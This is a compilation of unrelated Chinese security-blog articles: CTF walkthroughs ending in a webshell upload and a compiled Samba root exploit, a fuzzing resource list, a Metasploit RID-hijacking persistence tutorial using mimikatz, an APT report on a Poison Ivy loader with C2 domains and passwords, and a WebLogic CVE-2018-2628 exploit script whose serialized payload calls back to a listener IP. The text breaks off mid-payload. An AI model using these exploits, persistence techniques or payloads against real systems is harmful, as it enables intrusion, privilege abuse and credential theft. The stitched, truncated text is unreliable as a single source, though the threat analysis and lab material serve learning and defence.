前言

最近一直在down各种CTF靶机玩,本次分享的2个靶机因较基础,故合并成一篇文章发表,本文章仅为初学者练手学习使用,大神们勿喷,感谢各位大佬!

JIS靶机以拿到5个flag为止,本文攻击的靶机为kioptrix level1 以拿到root权限为止。

靶机下载/搭建:

靶机1:

https://pan.baidu.com/s/1kt9dMb423DZhIKXObfbwTw

2018-04-16 11-54-44 创建的截图.png

靶机2:

http://www.kioptrix.com/dlvm/Kioptrix_Level_1.rar

2018-04-19 11-52-28 创建的截图.png

开始:

JIS靶机全解:

探测网络, IP:192.168.1.135

2018-04-16 11-56-24 创建的截图_meitu_1.jpg

nmap神器开路

2018-04-16 12-06-34 创建的截图.png

可以看到靶机开启了22,80两个端口

我们打开http://192.168.1.135 使用御剑等神器跑跑目录,本菜使用dirb神器

2018-04-16 12-12-37 创建的截图.png

访问 http://192.168.1.135/flag/ 得到第一个flag,

The 1st flag is : {8734509128730458630012095}

2018-04-17 15-27-26 创建的截图.png

访问 http://192.168.1.135/admin_area/  查看源码得到第二个flag和账号密码, 此次第一次看时略过了。。。

The 2nd flag is : {7412574125871236547895214}

username : admin

password : [email protected]

2018-04-17 15-38-25 创建的截图.png

下一步肯定是用账号密码登陆了。。

登陆后就是一个上传页面,这里的上传点没有做任何限制,直接上shell

2018-04-17 15-44-13 创建的截图.png

上传成功以后那么问题来了,路径在哪呢? 我们记得前面跑目录时,发现有robots.txt 我们通过访问可以看到多个目录,其中 /uploads 、/uploaded_files 2个文件是什么你应该懂得,访问/uploaded_files/你shell的名字.php , 你会发现那个美丽的shell静静的躺着等待着你….

2018-04-17 15-48-42 创建的截图.png

2018-04-17 17-37-32 创建的截图.png

本次使用的是PHP大马,登陆shell在网站根目录发现 hint.txt ,访问得到第3个flag并得到提示信息:

try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)   

The 3rd flag is : {7645110034526579012345670}

2018-04-17 17-41-42 创建的截图.png

根据提示信息,让我们找一个隐藏文件,是technawi用户的,怎么找呢,本菜因为比较菜,所有使用了最笨的方法,全盘逐一搜索关键字:

“grep -r flag /etc/” 得到文件路径、flag、账号密码

2018-04-17 17-46-12 创建的截图.png

2018-04-17 17-47-50 创建的截图.png

The 4th flag is : {7845658974123568974185412}

username : technawi

password : [email protected]

前面我们看到该靶机开启了SSH服务,我们直接使用该账号密码登陆

2018-04-17 17-50-16 创建的截图.png

最后一个flag,本菜继续使用搜索关键词的方式拿到

grep -r “The 5th flag is :” /var/       (此次关键字是结合前面几个flag规律)

2018-04-17 17-55-21 创建的截图.png

得到flag和路径:

/var/www/html/flag.txt

The 5th flag is : {5473215946785213456975249}

2018-04-17 17-55-50 创建的截图.png

本次仅为完成获取靶机中全部flag为目的。 

Kioptrix靶机过程

先获取靶机IP:  192.168.1.138

微信图片_20180419145440.png

nmap开路:

2018-04-19 14-56-40 创建的截图.png

可以看到开启了多个端口,本菜本来是想以80端口做为突破口的,使用目录猜解工具走一波,为发现可利用目录

2018-04-19 15-01-45 创建的截图.png

在端口探测时也看到了有一个139端口 使用的是samba服务,然后你懂得!!

为了省事本菜就直接怼上扫描器了

2018-04-19 15-04-32 创建的截图.png

2018-04-19 15-05-02 创建的截图.png

可以看到漏洞还是比较多的,本文以samba为突破口做进一步渗透,

我们利用samba对应的版本搜索互联网漏洞

2018-04-19 15-08-07 创建的截图.png

看到有一个远程代码执行的漏洞,查看该EXP

2018-04-19 15-12-13 创建的截图.png 

使用命令:

cp /usr/share/exploitdb/exploits/multiple/remote/10.c /root/10.c 

拷贝该EXP到本机root目录下

使用gcc编译该EXP

gcc 10.c -o fuck_samba 

2018-04-19 15-20-50 创建的截图.png 

一切准备就行,直接执行该EXP拿shell。

2018-04-19 15-27-38 创建的截图.png 

最后感谢大家的观看,谢谢!

*本文原创作者:D3,转载请注明来自FreeBuf.COM

本文主要是向大家推荐一系列,用于fuzzing和Exploit开发初始阶段学习的资源合集,其中将包括相关的书籍,课程 – 免费或收费的,视频,工具,教程,以及一些供大家练习使用的靶机应用。

fuzzing书籍:

《模糊测试-强制性安全漏洞发掘》作者: Michael Sutton, Adam Greene, Pedram Amini。

《软件安全测试Fuzzing和zhi’laing质量保证作者:Ari Takanen, Charles Miller, and Jared D Demott。

《开源Fuzzing工具》作者: Gadi Evron and Noam Rathaus。

《Python灰帽子》作者:Justin Seitz。

注意:以下书籍中的相关章节专注于Fuzzing。

《Shellcoder手册:发现和利用安全漏洞》(第15章节)作者:Chris Anley, Dave Aitel, David Litchfield等。

《iOS黑客手册 – 第1章》作者:Charles Miller, Dino DaiZovi, Dion Blazakis, Ralf-Philip Weinmann, Stefan Esser。

《IDA Pro – IDA Pro Book:全球最受欢迎的反编译器非官方指南》

fuzzing课程/培训视频:

免费

纽约大学Poly(查看更多视频) – 由Dan Guido免费提供。

Samclass.info(检查项目部分和第17章) – 由Sam提供。

现代二进制开发(RPISEC) – 第15章 – 由RPISEC提供。

攻击性计算机安全 – 第6周 – 由W. Owen Redwood和Xiuwen Liu教授提供。

付费

Offensive Security, CTP和高级Windows开发(AWE)

针对渗透测试的SANS 660/760高级Exploit开发

Exodus Intelligence – 漏洞开发大师班

视频:

视频主要谈论fuzzing技术,工具以及最佳实践。

 纽约大学Poly课程视频

Fuzzing 101 (Part 1) - Mike Zusman。

Fuzzing 101 (Part 2) - Mike Zusman。

Fuzzing 101 (2009) - Mike Zusman。

Fuzzing – Coursera软件安全课程 – 由马里兰大学提供

会议讲座和教程

Youtube上各种有关fuzzing的探讨和演示文稿播放列表 – 这些视频中有很多不错的内容

浏览器bug狩猎 – 最后一个人的回忆录 – Atte Kettunen

将基于代码覆盖率的灰盒Fuzzing视为马尔科夫链

DerbyCon 2016:Fuzzing基础知识……或如何破解软件

教程和博客

文章和博客解释了fuzzing的方法,技术和最佳实践。

有效的文件格式Fuzzing – Mateusz“j00ru”Jurczyk @Black Hat 2016欧洲,伦敦

过去一年的Windows内核字体fuzzing第一部分成果 - 谷歌的Project Zero的一篇惊人的文章,描述了如何进行fuzzing和创建fuzzers。

过去一年的Windows内核字体fuzzing第二部分技术 - 谷歌的Project Zero的一篇惊人的文章,描述了fuzzing和创建fuzzers需要什么。

fuzzing项目中有趣的bug和资源 – 来自fuzzing-project.org。

Fuzzing工作流程; fuzz工作从开始到结束 – @BrandonPrry。

用AFL和libFuzzer轻松介绍C++代码fuzzing - Jeff Trull。

15分钟fuzzing介绍 - MWR安全。

注意:fuzzing.info已经为我们整合了许多优秀的资源,我不会重复他们的工作。我将会添加一些他们错过的论文。Fuzzing Papers - fuzzing.info

Fuzzing Blog - fuzzing.info

Fuzzing中出现崩溃的根本原因分析 - Corelan团队。Root cause analysis of integer flow -Corelan团队。

Creating custom peach fuzzer publishers - Open Security Research。

Fuzzing大型开源项目之前需要考虑的七件事 – Emily Ratliff。

从Fuzzing到利用:

从Fuzzing到0-day - Harold Rodriguez(@superkojiman)。

从崩溃到利用 - Corelan团队。

Peach Fuzzer相关教程:

开始使用Peach

Peach Fuzzing第一部分 – corelan团队Jason Kratzer

Peach Fuzzing第二部分 - corelan团队Jason Kratzer

自动生成Peach pit文件/fuzzers - FrédéricGuihéry,Georges Bossert

AFL Fuzzer相关教程

Fuzzing工作流程; fuzz工作从开始到结束 – @BrandonPrry。

使用afl的persistent模式给capstone做模糊测试 – @toasted_flakes。

RAM磁盘以及从AFL Fuzzing中保存你的SSD

使用American Fuzzy Lop狩猎Bug

American Fuzzy Lop在真实案例中的高级使用

使用afl-fuzz隔离Python

Fuzzing Perl: American Fuzzy Lops的故事

使用AFL-Fuzz Fuzzing,一个练习示例(AFL vs Binutils)

Fuzzing的重要性?

Heartbleed是如何被找到的

使用American Fuzzy lop Fuzzing文件系统

使用AFL Fuzzing Perl/XS模块

如何使用American Fuzzy Lop fuzz一个服务器 - Jonathan Foote

AFL研讨会Fuzzing – 真正的漏洞带来的一系列挑战

libFuzzer Fuzzer相关教程

libFuzzer教程

libFuzzer研讨会:“C/C++项目的现代fuzzing”

Spike Fuzzer相关教程

使用Spike Fuzzing查找溢出

使用Spike Fuzzing – samclass.info

FOE Fuzzer相关教程

使用FOE Fuzzing – Samclass.info

SMT/SAT solver教程

Z3 – 指南 – Z3入门指南:指南

工具

有助于fuzzing应用的工具

Cloud Fuzzers

在云环境中帮助fuzzing测试的Fuzzers。

Cloudfuzzer – 云fuzzing框架,可以轻松在云环境中运行自动化模糊测试。

文件格式Fuzzers

可帮助fuzzing文件格式的Fuzzers,如PDF,MP3,SWF等

MiniFuzz – Wayback Machine链接 – Microsoft提供的基本文件格式模糊测试工具。(Microsoft网站上不再提供)。

BFF from CERT - 用于文件格式的基本模糊测试框架。

AFL Fuzzer(仅适用于Linux)- American Fuzzy Lop Fuzzer 由Michal Zalewski aka lcamtuf发布

Win AFL- Linux下的智能模糊测试神器afl-fuzz的Windows版本

Shellphish Fuzzer  – AFL的Python接口,允许注入测试用例和其他功能。

TriforceAFL – AFL的修改版本,它支持源代码不可用的应用程序的模糊测试。

Peach Fuzzer –  一款智能模糊测试工具, 广泛用于发现软件中的漏洞和缺陷,它有两种主要模式,基于生长的模糊测试和基于变异的模糊测试。

MozPeach - 由Mozilla Security提供的peach 2.7。

失败观察引擎(FOE) – 针对Windows应用程序的基于文件突变的fuzz测试工具。

rmadair - 基于文件突变的fuzz测试工具,使用PyDBG来监测感兴趣的信号。

honggfuzz - 一个易于使用的fuzzer以及有趣的分析选项。支持基于代码覆盖的feedback-driven fuzzing。同时支持GNU/Linux,FreeBSD,Mac OSX和Android系统。

zzuf  – 一个透明应用程序输入fuzzer。它通过拦截文件操作并更改程序输入中的随机位来工作。

radamsa – 通用型fuzzer和测试用例生成器。

binspector - 二进制格式分析和模糊测试工具

grammarinator – 基于ANTLR v4语法的文件格式模糊测试工具(ANTLR项目中已有多种语法可用)。

网络协议Fuzzers

可帮助fuzzing使用基于网络协议(如HTTP, SSH, SMTP等)的应用程序Fuzzers。

Peach Fuzzer –  一款智能模糊测试工具, 广泛用于发现软件中的漏洞和缺陷,它有两种主要模式,基于生长的模糊测试和基于变异的模糊测试。

Sulley- 由多个可扩展组件组成的fuzzer开发和模糊测试框架。

boofuzz- Sulley框架的分支和继承。

Spike – 一个fuzzer开发框架。

Metasploit框架 – 通过辅助模块包含一些fuzzing功能的框架。

Nightmare – 带有Web管理的分布式模糊测试套件,支持使用网络协议进行模糊测试。

杂项

其他的一些fuzzers,如内核fuzzers,通用型fuzzer等。

Choronzon – 一个革命性的基于知识库的模糊测试。

QuickFuzz – 是一个语法模糊器,由QuickCheck,模板Haskell和Hackage的特定库生成许多复杂的文件格式,如Jpeg,Png,Svg,Xml,Zip,Tar等。

gramfuzz – 一种基于语法的模糊器,可以让您定义复杂的语法来为文本和二进制数据格式建模。

KernelFuzzer – 跨平台的内核Fuzzer框架。

honggfuzz – 一个易于使用的fuzzer以及有趣的分析选项。支持基于代码覆盖的feedback-driven fuzzing。同时支持GNU/Linux,FreeBSD,Mac OSX和Android系统。

Hodor Fuzzer - 另一种通用型fuzzer。

libFuzzer- C/C++编写的目标进程内覆盖引导渐进式fuzzing引擎。

syzkaller - 一款针对Linux内核进行模糊测试的开源工具。

ansvif – 用于查找C/C++代码中的漏洞的高级跨平台模糊测试框架。

污点分析

用户输入如何影响执行

PANDA(构建于顶级QEMU系统上的新一代动态分析平台)

QIRA(QEMU交互式运行时分析器)

kfetch-toolkit – 执行高级记录引用的工具

符号执行SAT和SMT求解器

Z3 - 属于SMT Solver,用于判定First Order Logic公式的可满足性。

SMT-LIB - 旨在促进SMT研究与开发的国际计划。

参考

点击链接了解更多信息:https://www.ee.oulu.fi/research/ouspg/Fuzzers

基本工具

针对exploit开发人员和逆向工程师的工具。

Debuggers

Windbg – windows平台下强大的用户态和内核态调试工具。

Immunity Debugger- 专门用于加速漏洞利用程序的开发,辅助漏洞挖掘以及恶意软件分析。

OllyDbg – 一个新的动态追踪工具。

Mona.py(windbg和Immunity dbg的插件)

x64dbg – 用于Windows的开源x64/x32调试器。

Evan的调试器(EDB)- gdb前端。

GDB – Gnu调试器 – 最喜欢的Linux调试器。

PEDA – 针对GDB的Python Exploit开发助手。

Radare2 – 用于逆向工程和二进制文件分析的框架。

反编译以及更多

IDA Pro- 最好的反编译软件

binnavi – 二进制分析IDE,注释控制流程图和调用反编译代码的图形。

Capstone – Capstone是一个轻量级的多平台,多架构反编译框架。

其它

ltrace – 用来跟踪进程调用库函数的情况。

strace – 跟踪系统调用和信号。

漏洞应用程序

Exploit-DB - https://www.exploit-db.com(通过搜索相关的应用漏洞,并自行下载漏洞应用及EXP重现漏洞)

PacketStorm - https://packetstormsecurity.com/files/tags/exploit/

Fuzzgoat - 用于测试fuzzers的漏洞C程序。

模糊测试样本文件:

https://files.fuzzing-project.org/

来自Mozilla的PDF测试语料库

MS Office文件格式文档

模糊测试套件 – fuzzing引擎测试集。包括不同的已知bug,如Heartbleed, c-ares $100K bug等。

反Fuzzing

反Fuzzing介绍:纵深防御

*参考来源:GitHub,FB小编 secist 编译,转载请注明来自FreeBuf.COM

大家好,今天给大家分享的是一个Msf框架中关于后渗透阶段的模块,这个模块有趣的地方在于,它在某种程度上来说是完全隐形的。开发者把这种技术叫Windows Rid劫持。

一. 模块简介

首先我们简单了解下该技术所针对的核心——RID。Windows都使用安全帐户管理器(SAM)来存储本地用户和内置帐户的安全描述符。正如“安全主管如何工作”(链接https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc779144(v=ws.10))中所述,每个帐户都有一个指定的RID来标识它。与域控制器不同,Windows工作站和服务器会将大部分数据存储在HKLM\SAM\SAM\Domains\Account\Users项中,这需要访问System权限。

有时候,在某些环境中维持访问权限是相当棘手的,特别是在不可能执行诸如创建或将用户添加到管理员组、转储用户的凭据或散列哈希、部署持久的shell或任何可能触发对受害者发出警报的任何东西时。只有使用系统资源才能持久化的访问,那么还有什么更方便的呢?

msf中的rid劫持模块实现了这一点。Rid_Hijack模块是一个关于后渗透阶段用来维持权限的模块,该模块将通过修改现有帐户的某些属性在目标系统上创建一个条目。它将通过设置一个相对标识符(RID)来更改帐户属性,该标识符应由目标机器上的一个现有账户拥有。利用一些Windows本地用户管理完整性的缺陷,该模块将允许使用一个已知帐户凭证(如GUEST帐户)进行身份验证,并使用另一个现有帐户(如Administrator帐户)的权限进行访问,即使禁用了Administrator账户。模块在MSF中名字为post/windows/manage/rid_hijack,如果没有下载的话可以去rapid7的github仓库中下载放在相应目录下启动Msfconsole后输入“reload_all”便可在msf中使用。链接如下: https://github.com/rapid7/metasploit-framework/pull/9595

Rid劫持模块会自动的将攻击者与受害者的任何现有帐户相关联。在模块执行后是非常正常的,因为hashdump和wmic命令加载lsass.exe模块执行之前运行的用户信息和其他进程。另一方面,当以任何人登录到机器时,通过使用由模块修改的注册表键来获得特权。此模块不会更改它所在的所有注册表项中的用户的RID,但只能在导致完整性问题被利用的一个注册表项中。这意味着它不会将所有系统数据中的RID从一个更改为另一个(例如在你的情况下,从501到500),这就是为什么这个攻击是完全隐秘的。

二. 漏洞影响版本

Windows XP,2003.(32位)

Windows 8.1专业版。(64位)

Windows 10.(64位)

Windows Server 2012.(64位)

该模块未经过测试,但可能适用于:•其他版本的Windows(x86和x64)

三. 漏洞复现

这个模块的工作原理就是在Windows受害者上建立一个meterpreter会话。它将尝试查看权限(并在需要时获取它们)并修改与指定帐户关联的注册表项。靶机IP:192.168.192.128 操作系统为win7 64位。(测试账户5ecurity本身为普通权限)

1.png

该模块的利用基础是建立在拿到目标系统的meterpreter会话之后的,所以首先需要拿到目标系统的meterpreter会话。

2.png

加载msf中自带的mimikatz模块,用于抓取目标系统中的明文密码。

3.png

通过wgigest命令抓取普通账户5ecurity的密码为5ecurity。然后加载我们文中的主要利用模块。

4.png

输入Show options获取所需配置的参数。的简要说明:•GETSYSTEM:如果为true,将尝试获取目标系统的SYSTEM权限。•GUEST_ACCOUNT:如果为true,将使用目标系统用户帐户作为攻击者的帐户。•RID:将分配给攻击者帐户的RID。这个值应该由一个现有账户拥有,意图被劫持。默认设置为 500 。•USERNAME:设置后,将用作生效的用户帐户,并将其视为攻击者帐户。如果参数GUEST_ACCOUNT被指定,这个参数将被忽略。•PASSWORD:设置后,它会将帐户密码设置为该值。我们将需要配置的参数一一配置,指定meterpreter会话的session id给Rid劫持模块。

5.png

运行模块,可以看到模块运行的很顺利。

6.png

然后通过我们抓取到的普通权限账号5ecurity登录,就可以发现一些神奇的地方。

7.png

再进行一些其他命令的操作确定自己的权限。

8.png

9.png

使用普通权限的5ecurity账户在system32目录下成功进行写入操作。完成Rid劫持

四. 参考链接

http://www.5ecurity.cn/index.php/archives/245/

https://www.rapid7.com/db/modules/post/windows/manage/rid_hijack

http://csl.com.co/rid-hijacking/

* 本文作者5ecurity,转载注明来自Freebuf.com

背景

APT-C-01组织是一个长期针对国内国防、政府、科技和教育领域的重要机构实施网络间谍攻击活动的APT团伙,其最早的攻击活动可以追溯到2007年,360威胁情报中心对该团伙的活动一直保持着持续的跟踪。团伙擅长对目标实施鱼叉攻击和水坑攻击,植入修改后的ZXShell、Poison Ivy、XRAT商业木马,并使用动态域名作为其控制基础设施。

360威胁情报中心对日常的在野恶意代码跟踪流程中发现疑似针对性的APT攻击样本,通过对恶意代码的深入分析,利用威胁情报中心数据平台,确认其与内部长期跟踪的APT-C-01团伙存在关联,并且结合威胁情报数据挖掘到了该团伙更多的定向攻击活动。

木马分析

基于开源威胁情报,360威胁情报中心发现http://*einfo.servegame.org域名地址托管了多个攻击恶意代码和恶意HTA文件,其用于攻击载荷的下载和分发。

image.png

image.png

Dropper分析

通过结合对此恶意代码分发域名上的恶意载荷分析,推测其应该使用CVE-2017-8759漏洞文档来投放第二阶段的攻击载荷,由于目前暂未关联到实际用于攻击活动的漏洞文档文件,结合该团伙过去的攻击特点,其应该是用于邮件鱼叉攻击。

image.png

并且进一步下载恶意的HTA文件,其执行PowerShell指令下载Loader程序,保存为officeupdate.exe并执行。

image.png

Loader分析

根据Loader程序中包含的字符串信息,制作者将其命名为SCLoaderByWeb,版本信息为1.0版,从字面意思为从Web获取的ShellcodeLoader程序。其用来下载执行shellcode代码。

image.png

Loader程序首先会尝试连接www.baidu.com判断网络联通性,如果没有联网,会每隔5秒尝试连接一次,直至能联网。

然后从http://*einfo.servegame.org/tiny1detvghrt.tmp下载payload,如图:

image.png

接着判断文件是否下载成功,如果没有下载成功会休眠1秒后,然后再次尝试下载payload:

image.png

下载成功后,把下载的文件内容按每个字节分别和0xac,0x5c,0xdd异或解密(本质上就是直接每个字节异或0x2d),如图:

image.png

之后把解密完的shellcode在新创建的线程中执行,如图:

image.pngimage.png

Shellcode分析

分发域名地址托管的.tmp文件均为逐字节异或的shellcode,如下图为从分发域名下载的tinyq1detvghrt.tmp文件,该文件是和0x2d异或加密的数据。

image.png

解密后发现是Poison Ivy生成的shellcode,标志如下:

image.png

通过分析测试Poison Ivy木马生成的shellcode格式与该攻击载荷中使用的shellcode格式比较,得到每个配置字段在shellcode中的位置和含义。

image.pngimage.png

image.png

其shellcode配置字段的格式详细如下:

image.png

在分析Poison Ivy中获取kernel32基址的代码逻辑时,发现其不兼容Windows 7版本系统,因为在Windows 7下InitializationOrderModule的第2个模块是KernelBase.dll,所以其获取的实际是KernelBase的基址。

image.png

image.png

由于Poison Ivy已经停止更新,所以攻击团伙为了使shellcode能够执行在后续版本的Windows系统,其采用了代码Patch对获取kernel32基址的代码做了改进。

其改进方法如下:

1. 在原有获取kernel32基址代码前增加跳转指令跳转到shellcode尾部,其patch代码增加在尾部;

2. patch代码首先获取InitializationOrderModule的第2个模块的基址(WinXP下为kernel32.dll,WIN7为kernelbase.dll);

3. 然后获取InitializationOrderModule的第二个模块的LoadLibraryExA的地址(WinXP下的kernel32.dll和WIN7下的kernelbase.dll都有这个导出函数)

4. 最后通过调用LoadLibraryExA函数获取kernel32的基址。

image.png

攻击者针对shellcode的patch,使得其可以在不同的Windows系统版本通用。

该shellcode的功能主要是远控木马的控制模块,和C2通信并实现远程控制。这里我们在Win7系统下模拟该木马的上线过程。

image.png

对控制域名上托管的其他shellcode文件进行解密,获得样本的上线信息统计如下:

行动ID 上线域名 端口 上线密码 互斥体
2017 *****e.*o.dyndns.org 5566 [email protected]#[email protected]#@! )!VoqA.I4
bing *****1789.dynssl.com 8088 zxc5566 )!VoqA.I4
ding1 *****ftword.serveuser.com 53 1wd3wa$RFGHY^%$ )!VoqA.I4
ding2 *****il163.sendsmtp.com 53 1wd3wa$RFGHY^%$ )!VoqA.I4
geiwoaaa *****aaa.qpoe.com 443 wyaaa8 )!VoqA.I4
jin_1 *****opin.mynumber.org 80 HK#mq6!Z+. )!VoqA.I4
jin_2 *****ngonly.rebatesrule.net 53 [email protected]<9p2c* )!VoqA.I4
justdied www.ser*****.*****died.com 80 [email protected] )!VoqA.I4
pouhui *****hui. *****tation.org 53 index#help )!VoqA.I4
tina_1 *****date.ocry.com 80 168168 )!VoqA.I4
tina_2 *****prp.ezua.com 53 116688 )!VoqA.I4
tony_1 *****update.dynamic-dns.net 80 [email protected]#21 )!VoqA.I4
tony_2 *****patch.dnset.com 53 [email protected]# )!VoqA.I4
关联分析

通过进一步分析攻击载荷的回连C&C域名,发现大部分域名都是ChangeIP动态域名,从子域名的命名,攻击者更喜欢采用和Office,系统更新,163邮箱和招聘网相关的命名关键词。

1. 结合360威胁情报平台对C&C域名进行关联分析。这里我们对该团伙这次行动中(ding2.exe)使用的C&C域名*il163.sendsmtp.com进行分析,其当前解析IP为*.*.171.209。

image.png

2. 通过进一步查询IP历史映射域名,发现域名pps.*usic.com对应内部发现的APT-C-01组织历史使用的域名。

image.png

3. 通过搜索pps.*usic.com这个域名,得到关联样本。

image.png

该样本为该组织早期的攻击恶意代码。

image.png

4. 查询该域名历史解析IP。

image.png

5. 对域名历史映射的IP地址..114.161进行查询,发现*e165.zyns.com域名,这个域名同样也是ChangeIP动态域名,并且曾经用于CVE-2017-0199的漏洞文档。

image.png

该漏洞文档是一个关于十九大的PPT,其最后修改时间为2017年12月12日。根据文档文件中的元数据,可以推测攻击者从网上检索到了“杨建华”制作的学习十八大党章的PPT文档,由名字为”steusr”的用户最后修改该文档内容制作为诱导文档。

image.png

image.png

image.png

image.png

该漏洞文档会下载执行一个HTA文件。

image.png

总结整体关联展示如下图所示:

image.png

总结

基于我们对该APT团伙的长期跟踪,结合本次攻击Campaign的细节我们对团伙的攻击战术技术如下:

攻击团伙名称 APT-C-01
攻击入口 鱼叉攻击投放漏洞文档
受影响应用 Windows系统
使用漏洞 CVE-2017-8759、CVE-2017-0199
恶意代码及工具 Poison Ivy
控制基础设施资源 动态域名,主要为ChangeIP动态域名
主要攻击战术技术特征分析 1.使用鱼叉邮件投放漏洞文档,其用于下载执行恶意的HTA文件; 2.使用PowerShell下载执行第一阶段载荷; 3.修改Poison Ivy生成的shellcode作为命令控制模块; 4.使用动态域名进行命令控制,并且子域名通常伪装成Office,系统更新,163邮箱和招聘网相关内容;

攻击者通过使用动态域名和公开的木马来隐藏自身更多的标记信息,增加了追溯的难度,并且更加容易与普通的木马攻击事件相混淆。但从本次攻击活动的分析我们也可以发现对于攻击团伙和其拥有的资源丰富程度,其通常并非拥有无限的控制基础设施资源,所以当持续积累了足够的基础设施相关数据,并结合威胁情报的持续运营,往往可以将看似独立的事件关联到一起并确定指向。

目前,基于360威胁情报中心的威胁情报数据的全线产品,包括360威胁情报平台(TIP)、天眼高级威胁检测系统、360 NGSOC等,都已经支持对此APT攻击团伙攻击活动的检测。

参考链接

https://twitter.com/avman1995/status/933960565688483840

IOC

C&C地址
***.***.66.10
***.***.32.168
***.***.220.223
***.***.67.36
***.***.133.169
***.***.8.137
***.***.125.176
***.***.228.61
***.***.9.206
***.***.171.209
*****gonly.rebatesrule.net
*****erk.gecekodu.com
*****r163.serveusers.com
*****date.ocry.com
*****aaa.qpoe.com
*****opin.mynumber.org
*****rvice.serveuser.com
*****ftword.serveuser.com
*****e.go.dyndns.org
*****info.servegame.org
*****il163.sendsmtp.com
*****update.dynamic-dns.net
*****prp.ezua.com
www.ser*****.*****died.com
*****1789.dynssl.com
*****patch.dnset.com
*****hui. *****tation.org
*****high.mefound.com
*****e165.zyns.com
http://*****e165.zyns.com/zxcvb.hta
LOADER MD5
**********5fffda3425d08c94c014a1
**********31ffcdbe65ab13d71b64ec
**********6fd8670137cade8b60a034
**********5bf285d095e0fd91cb6f03
**********e6528add4f9489ce1ec5d6
**********44d923f576e9f86adf9dc0
**********aaee991ff97845705e08b8
**********bd772a41a6698c6fd6e551
**********3f6ea5e0fd1a0aec6a095c

* 本文作者:360天眼实验室,转载注明来自Freebuf

PS:本文验证仅用于学习与研究,请勿非法利用。

一、漏洞概要

北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(CriticalPatchUpdate),其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628),通过该漏洞,攻击者可以在未授权的情况下远程执行代码。攻击者只需要发送精心构造的T3协议数据,就可以获取目标服务器的权限。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。

二、漏洞影响范围

漏洞影响范围包括:

OracleWebLogicServer10.3.6.0  

OracleWebLogicServer12.1.3.0  

OracleWebLogicServer12.2.1.2  

OracleWebLogicServer12.2.1.3

三、漏洞验证现状

目前github上已经出现不少用于检测此漏洞的验证代码,但是绝大多数代码中PAYLOAD字段都包含一个归属为美国的IP地址104.251.228.50,如下所示:

In [2]: PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72
   ...: 787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c
   ...: 6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a617661
   ...: 2e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c65720000000000
   ...: 0000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e
   ...: 03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea9
   ...: 0b00000000000000000000000000000078']

In [3]: PAYLOAD[0].decode('hex')
Out[3]: "\xac\xed\x00\x05s}\x00\x00\x00\x01\x00\x1djava.rmi.activation.Activatorxr\x00\x17java.lang.reflect.Proxy\xe1'\xda \xcc\x10C\xcb\x02\x00\x01L\x00\x01ht\x00%Ljava/lang/reflect/InvocationHandler;xpsr\x00-java.rmi.server.RemoteObjectInvocationHandler\x00\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00xr\x00\x1cjava.rmi.server.RemoteObject\xd3a\xb4\x91\x0ca3\x1e\x03\x00\x00xpw7\x00\nUnicastRef\x00\x0e104.251.228.50\x00\x00\x1bY\x00\x00\x00\x00\x01\xee\xa9\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x"

四、我的漏洞验证

对此,我搭建实验环境进行了测试,与大家分享一下心得(整个测试中涉及到的IP地址均为实验环境中的地址)

4.1 漏洞验证代码

先贴上我的代码,仅为单线程示例代码,多线程的请各位大神自己修改

# coding: utf-8

import re

import sys

import socket

from time import sleep

VUL=['CVE-2018-2628']

# 需要自定义监听地址,目前为11.10.67.83

PAYLOAD=['aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707734000a556e6963617374526566000b31312e31302e36372e38330000044bffffffff981c9bd400000000000000000000000000000078']

VER_SIG=['\\$Proxy[0-9]+']

def t3handshake(sock, server_addr):

sock.connect(server_addr)

sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))

sleep(1)

sock.recv(1024)

sys.stdout.write('handshake successful\n')

def buildT3RequestObject(sock, dport):

data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e